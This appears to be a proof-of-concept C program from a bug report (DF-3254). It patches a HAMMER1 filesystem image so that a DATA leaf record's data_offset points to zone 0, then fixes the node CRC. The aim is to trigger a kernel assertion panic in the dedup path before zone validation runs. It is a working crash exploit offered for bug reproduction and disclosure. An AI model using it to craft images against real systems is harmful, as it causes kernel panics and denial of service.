DF-3254 / patch_doff.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | /* * DF-3254: patch a HAMMER1 DATA leaf record so its data_offset field is * ZONE 0 (raw 0), then fix the node CRC -- exactly the record shape that * reaches * * hammer_btree_extract_data(&cursor1); hammer_dedup.c:66 * hammer_btree_extract_data(&cursor2); hammer_dedup.c:82 * ... zone validation happens only AFTERWARDS ... :92-93 * * _hammer_bread() then hits KKASSERT(HAMMER_ZONE(buf_offset) != 0) * (hammer_ondisk.c:1123) -> INVARIANTS kernel panic before the * hammer_is_zone_data() check ever runs. * * usage: patch_doff <image> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #define BUFSIZE 4096 #define BTREE_TYPE_L (('L') & 0xff) #define RECTYPE_DATA 0x0010 #define ELM_OFF 64 /* elms[0] at node+64 */ #define ELM_SZ 64 #define BASE_RECTYPE 32 #define BASE_LOCAL 36 #define LEAF_DOFF 48 #define LEAF_DLEN 56 static uint32_t crc32_tab[256]; static void crc32_init(void) { for (uint32_t i = 0; i < 256; i++) { uint32_t c = i; for (int k = 0; k < 8; k++) c = (c & 1) ? 0xEDB88320U ^ (c >> 1) : c >> 1; crc32_tab[i] = c; } } static uint32_t crc32_buf(const void *p, size_t n) { const unsigned char *b = p; uint32_t c = 0xFFFFFFFFU; for (size_t i = 0; i < n; i++) c = crc32_tab[(c ^ b[i]) & 0xff] ^ (c >> 8); return c ^ 0xFFFFFFFFU; } static uint32_t crc32c_tab[256]; static void crc32c_init(void) { for (uint32_t i = 0; i < 256; i++) { uint32_t c = i; for (int k = 0; k < 8; k++) c = (c & 1) ? 0x82F63B78U ^ (c >> 1) : c >> 1; crc32c_tab[i] = c; } } static uint32_t crc32c_buf(const void *p, size_t n) { const unsigned char *b = p; uint32_t c = 0xFFFFFFFFU; for (size_t i = 0; i < n; i++) c = crc32c_tab[(c ^ b[i]) & 0xff] ^ (c >> 8); return c ^ 0xFFFFFFFFU; } int main(int argc, char **argv) { unsigned char node[BUFSIZE]; uint32_t stored, calc_a, calc_b, newcrc; uint64_t doff; int fd, count, i, patched = 0, nodes = 0; off_t off; if (argc != 2) { fprintf(stderr, "usage: %s <image>\n", argv[0]); exit(2); } crc32_init(); crc32c_init(); fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); exit(2); } for (off = 0; ; off += 512) { if (pread(fd, node, BUFSIZE, off) != BUFSIZE) break; memcpy(&stored, node, 4); memcpy(&count, node + 16, 4); if (node[20] != BTREE_TYPE_L) continue; if (count < 1 || count > 63) continue; calc_a = crc32_buf(node + 4, BUFSIZE - 4); calc_b = crc32c_buf(node + 4, BUFSIZE - 4); if (stored != calc_a && stored != calc_b) continue; nodes++; int hit = 0; for (i = 0; i < count; i++) { unsigned char *elm = node + ELM_OFF + ELM_SZ * i; uint16_t rt; memcpy(&rt, elm + BASE_RECTYPE, 2); memcpy(&doff, elm + LEAF_DOFF, 8); fprintf(stderr, "leaf@%jd elm%d rec_type=0x%04x data_offset=0x%016jx (zone %jd)\n", (intmax_t)off, i, rt, (uintmax_t)doff, (uintmax_t)(doff >> 60)); if (rt == RECTYPE_DATA && doff != 0 && (doff >> 60) >= 8 && (doff >> 60) <= 11) { uint64_t zero = 0x0000000000100000ULL; /* zone 0, NON-zero */ printf("found DATA leaf @off=%jd elm=%d: " "data_offset 0x%016jx -> 0x100000 (zone 0, non-zero: extract guard passes)\n", (intmax_t)off, i, (uintmax_t)doff); { FILE *f = fopen("/tmp/doff_elem_off", "w"); if (f) { fprintf(f, "%jd", (intmax_t)(off + ELM_OFF + ELM_SZ * i)); fclose(f); } } memcpy(elm + LEAF_DOFF, &zero, 8); hit = 1; patched++; /* patch only the first one */ break; } } if (hit) { newcrc = (stored == calc_b) ? crc32c_buf(node + 4, BUFSIZE - 4) : crc32_buf(node + 4, BUFSIZE - 4); memcpy(node, &newcrc, 4); if (pwrite(fd, node, BUFSIZE, off) != BUFSIZE) { perror("pwrite"); exit(1); } break; } } printf("done: %d valid leaf nodes scanned, %d DATA leaf patched to " "zone-0 data_offset\n", nodes, patched); close(fd); return patched ? 0 : 1; } |